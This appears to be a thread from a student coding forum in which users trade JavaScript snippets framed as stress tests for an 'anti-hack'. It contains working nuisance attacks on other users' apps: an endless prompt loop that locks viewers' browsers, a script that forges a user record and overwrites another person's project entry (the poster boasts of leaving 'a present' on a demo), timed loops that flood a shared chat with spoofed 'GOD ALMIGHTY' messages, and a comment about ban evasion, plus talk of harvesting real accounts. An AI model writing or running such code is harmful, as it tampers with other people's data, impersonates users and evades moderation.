@Varrience I need to stress test my anti-hack, could you design something to do that for me please, preferably with labeled inputs because I do not understand the dark side yet

    Fluffypoopo
    wut adam made this

    if (window.getURLPath()[3] == "view") {
      while (true) {
        prompt("No.");
      }
    }

    then put it in a library

      pluto I have an at the moment passive anti-hack once I know it is not going to let anything slip I'll make it like a Minecraft wolf and attack back

      I wonder if there is a way to collect CDO accounts like the actual CDO accounts

        pluto
        you can bypass this by blocking the prompts(firefox lets you do this through the click of a button)

          Fluffypoopo i mean it looks like garbage but sure

          function flush(id) {
            id = id || String();
            while (id.length < 28) {
              id += encodeURIComponent(String.fromCharCode(Math.floor(Math.random() * 255)))
            }
          }
          var player = { user: "stonks_GOD_V2", userid: flush(), role: "User", rank: 0, flag: "done" };
          update("Projects", { project_image: "https://i.ytimg.com/vi/dQw4w9WgXcQ/maxresdefault.jpg", project_title: "Give Up", project_url: "https://www.youtube.com/watch?v=dQw4w9WgXcQ", project_rating: "42069", project_description: "Idk it's a prank bro", project_username: player.user, project_userid: player.id, id: 2 })
          push("Users", player);
          //push("Projects", {project_image: "https://i.ytimg.com/vi/dQw4w9WgXcQ/maxresdefault.jpg", project_title: "Give Up", project_url: "https://www.youtube.com/watch?v=dQw4w9WgXcQ", project_rating: "42069", project_description: "Idk it's a prank bro", project_username: player.user, project_userid: player.id})
          readRecords("Projects", [], console.log);
          function push(table, data) {
            createRecord(table, data);
            for (var i = 2; i < 4; i++) {
              createRecord(table + i, data)
            }
          }
          function purge(table, data) {
            deleteRecord(table, data);
            for (var i = 2; i < 4; i++) {
              deleteRecord(table + i, data)
            }
          }
          function update(table, data) {
            updateRecord(table, data);
            for (var i = 2; i < 4; i++) {
              updateRecord(table + i, data)
            }
          }

          I left a present on your demo btw

            Varrience bro always puts some 69420 thing in there and bro put rick roll stuff 💀

              pluto lmao would you have preferred chocolate rain? i was asked to troll so I obliged @Fluffypoopo if not, what would you prefer being injected into it?

                oh yeah abt that, doesn't savecanvas download files if you put it in your game? i think this can be exploited

                  it wont work and im on chrome

                  pluto ah, perhaps they finally did patch it... well as you can see something like that won't work then so it should be fine i guess

                  timedLoop(10, function() { getKeyValue("msg" + formatUsername(room + " "),function(e){ var ret = e; ret.push({uid: encodeURIComponent("sDiGQ0gIAjEDHr3XMXyTn2vi36g"),
                  user: 'GOD ALMIGHTY',time: getTime(),
                  msg: 'though shalt yes'});
                  setKeyValue("msg" + formatUsername(room + " "), ret); }); });

                  spamthingy i made after looking about the code a while

                    ackvonhuelio you could just initialize the database and make it look much cleaner by adding setInterval with database.message("") as a spam thing it's not that hard know what I'll do it myself

                    var mod = new Database("msghome", "GOD_ALMIGHTY");
                     setInterval(function(){
                     mod.message("though shalt yes");
                     mod.flush(); // this allows ban evasion for the funnies
                    }, 100)

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